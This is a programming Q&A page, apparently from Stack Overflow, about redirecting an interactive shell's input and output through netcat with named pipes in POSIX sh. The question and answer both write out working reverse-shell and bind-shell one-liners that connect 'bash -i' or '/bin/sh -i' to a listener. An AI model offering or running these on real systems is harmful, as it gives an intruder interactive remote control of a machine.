Search code examples
shelliopipe

How to redirect command I/O to nc two-way?


I am trying to do something like this on a POSIX compliance way using nc, following the second example given here, it must run on sh (can be tested on dash or busybox' ash, but not on bash).

I have done the following:

# on operator machine
nc -lvp 9999

# on remote machine
out="/tmp/.$$.out"
in="/tmp/.$$.in"
mkfifo "$out" "$in"
trap 'rm "$out" "$in"' EXIT
# nc 192.168.0.10 9999 > "$out" 0< "$in" &
cat "$in" | nc 192.168.0.10 9999 | cat > "$out" &
bash -i > "$in" 2>&1 0< "$out"

I have two questions, please, answer both:

  1. As you can see I have tried to do nc 192.168.0.10 9999 > "$out" 0< "$in" but I do not known why the heck it didn't worked with file redirection, the command freezes, the process isn't even launched, I have tried with pipe on input only and also on output only, but neither way worked. The downside with this cat solution is when you exit the command after connected on operator machine it still keeps the process alive on remote machine, requiring to be killed. I want to know why redirection solution didn't work? And how to solve the exit issue? Even though the cat solution is not the most elegant one, if it manage to work it would be acceptable.

  2. Is there a way to do this two-way I/O redirect using fd instead of mkfifo? For instance, using exec 3> dummy? Remembering it must be POSIX compliance so >(:) is unacceptable.

If the fd solution is possible, it is not required to make the mkfifo solution to work, but I still would be glade to know why the file redirection didn't work.


Solution

  • You're trying to do a reverse-shell? I can't quite tell from the logic.

    A few things about fifos - opening a fifo blocks until both sides are opened - i.e. if you open for reading you will get blocked until someone opens it for writing and vice versa.

    The reason it won't work with redirection is that the open of the redirection happens in the shell before launching the nc, so as a result until a process opens the write-end of the same fifo, it won't be able to open the read-end of the same fifo. In this case you've got a deadly embrace of blocking:

    nc is blocked opening "$out" because nobody's opened it for reading yet.

    bash is blocked opening "$in" because nobody's opened it for writing yet.

    You can try rearranging the file descriptor opening order:

    nc 127.0.0.1 9999 2>&1 > "$out" 0< "$in" &
    bash -i 0< "$out" >"$in" 2>&1
    

    i.e. we make sure that the opening of in and out happen in the same order for the commands, which should fix the fifo opening issue.

    You don't need to do this with two fifos, you can accomplish it with one using:

    ncfifo=/tmp/.$$.nc
    mkfifo $ncfifo
    cat $ncfifo | bash -i 2>&1 | nc 127.0.0.1 9999 >$ncfifo
    

    As for (2); I don't know - it's not something I've tried to accomplish myself. The reason for using the fifo is that it allows you to wire up two sides of the pipeline together. I can't see any way of accomplishing this without a fifo, although I'm open to being corrected on this.

    The nc man page on debian contains the following example, which is for the 'opposite' interpretation:

    rm -f /tmp/f; mkfifo /tmp/f
    cat /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
    

    which is what I've used to do a simpler cat answer; although it seems to work as well omitting the leading cat as:

    rm -f /tmp/f; mkfifo /tmp/f
    /bin/sh -i </tmp/f 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f